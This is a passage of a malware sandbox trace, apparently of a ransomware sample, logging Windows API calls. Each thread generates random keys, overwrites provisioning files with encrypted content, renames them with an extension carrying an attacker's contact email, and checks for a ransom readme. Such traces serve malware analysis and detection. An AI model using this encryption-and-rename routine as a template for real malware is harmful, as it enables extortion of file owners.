Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" [0087.108] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.108] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.109] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.109] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.109] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.109] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.109] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.109] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6a68) returned 1 [0087.109] RtlExitUserThread (Status=0x1) Thread: id = 1345 os_tid = 0x13d4 [0087.094] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0087.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0087.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.111] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ed3f9d8 | out: lpFileSize=0x2ed3f9d8*=480) returned 1 [0087.111] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.111] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ed3f9ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2ed3f9ac*, lpNumberOfBytesRead=0x2ed3f9a8*=0x4, lpOverlapped=0x0) returned 1 [0087.112] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc520 [0087.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc610 [0087.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2c8 [0087.112] NtQuerySystemTime (in: CurrentTime=0x2ed3f984 | out: CurrentTime=0x2ed3f984*=132121176450079796) returned 0x0 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xd0457c9c [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x2a7981fb [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x5b607317 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x683e6be [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xb3d7a43a [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xaf0b900a [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x103cf2fc [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xfd7d2039 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x9a85b1b8 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xfabab947 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x4ea10823 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xb0e70c78 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x9c83a69c [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x6c9997d7 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xf8ddd103 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x5ccac299 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x81c31c80 [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x7e218ceb [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x433a442c [0087.112] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x8baf2086 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x124ca2f7 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xfefcd0bf [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x8d5d5ab9 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x41493ab5 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x821cc579 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xe8a44d65 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0xf96c343f [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x498a32ac [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x36b3aabb [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x2e26834e [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x3f715b99 [0087.113] RtlRandom (in: Seed=0x2ed3f990 | out: Seed=0x2ed3f990) returned 0x22a17d12 [0087.123] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x2ed3f984, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ed3f984*=0x1e0, lpOverlapped=0x0) returned 1 [0087.123] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ed3f94c | out: lpNewFilePointer=0x0) returned 1 [0087.123] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ed3f980, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ed3f980*=0x1e0, lpOverlapped=0x0) returned 1 [0087.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc520 [0087.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc570 [0087.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.123] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ed3f97c, lpOverlapped=0x0 | out: lpBuffer=0x55dc520*, lpNumberOfBytesWritten=0x2ed3f97c*=0x20, lpOverlapped=0x0) returned 1 [0087.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc520) returned 1 [0087.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0087.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0087.124] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x55dc548*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x8, lpOverlapped=0x0) returned 1 [0087.124] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ed3f9c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2ed3f9c0*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x4, lpOverlapped=0x0) returned 1 [0087.124] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x4, lpOverlapped=0x0) returned 1 [0087.125] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x6c, lpOverlapped=0x0) returned 1 [0087.125] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x55dc610*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x20, lpOverlapped=0x0) returned 1 [0087.125] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ed3f9a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ed3f9a8*=0x4, lpOverlapped=0x0) returned 1 [0087.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc610) returned 1 [0087.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2f0) returned 1 [0087.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc548) returned 1 [0087.125] CloseHandle (hObject=0x3d0) returned 1 [0087.125] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0087.125] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0087.125] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0087.125] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0087.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0087.126] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.126] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.126] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0087.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d760) returned 1 [0087.127] RtlExitUserThread (Status=0x1) Thread: id = 1346 os_tid = 0x13e8 [0087.128] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.128] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.128] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.128] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2edbfd6c | out: lpFileSize=0x2edbfd6c*=715) returned 1 [0087.128] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.128] ReadFile (in: hFile=0x3d0, lpBuffer=0x2edbfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2edbfd40*, lpNumberOfBytesRead=0x2edbfd3c*=0x4, lpOverlapped=0x0) returned 1 [0087.129] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.130] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.130] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.130] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc520 [0087.130] NtQuerySystemTime (in: CurrentTime=0x2edbfd18 | out: CurrentTime=0x2edbfd18*=132121176450235846) returned 0x0 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xc444be99 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xcdafcd8e [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xd5ade92f [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x22a5dd55 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x6220e8a5 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x240ccaca [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x33f2be [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xa8d7c5a4 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xbc83ad49 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xdd8e0ea5 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x1dc2c46d [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x8562c73e [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x888ae0d4 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xc256c26a [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x8846152e [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xb8106131 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x716a7024 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x1156cd3a [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x75f90265 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x4caaa5eb [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x6913edb2 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xd6936932 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xf841c605 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x5acaa8fe [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x10bd3011 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xbcf3c5e5 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xa5ecf26e [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x6b303f42 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xdfce14a6 [0087.130] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0xdf07f00c [0087.131] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x81c07e8b [0087.131] RtlRandom (in: Seed=0x2edbfd24 | out: Seed=0x2edbfd24) returned 0x30303ef4 [0087.141] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x2edbfd18, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2edbfd18*=0x2cb, lpOverlapped=0x0) returned 1 [0087.141] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edbfce0 | out: lpNewFilePointer=0x0) returned 1 [0087.141] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x2edbfd14, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2edbfd14*=0x2cb, lpOverlapped=0x0) returned 1 [0087.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.141] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2edbfd10, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2edbfd10*=0x20, lpOverlapped=0x0) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2edbfd3c*=0x8, lpOverlapped=0x0) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x2edbfd54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2edbfd54*, lpNumberOfBytesWritten=0x2edbfd3c*=0x4, lpOverlapped=0x0) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2edbfd3c*=0x4, lpOverlapped=0x0) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2edbfd3c*=0x6c, lpOverlapped=0x0) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2edbfd3c*=0x20, lpOverlapped=0x0) returned 1 [0087.142] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2edbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2edbfd3c*=0x4, lpOverlapped=0x0) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 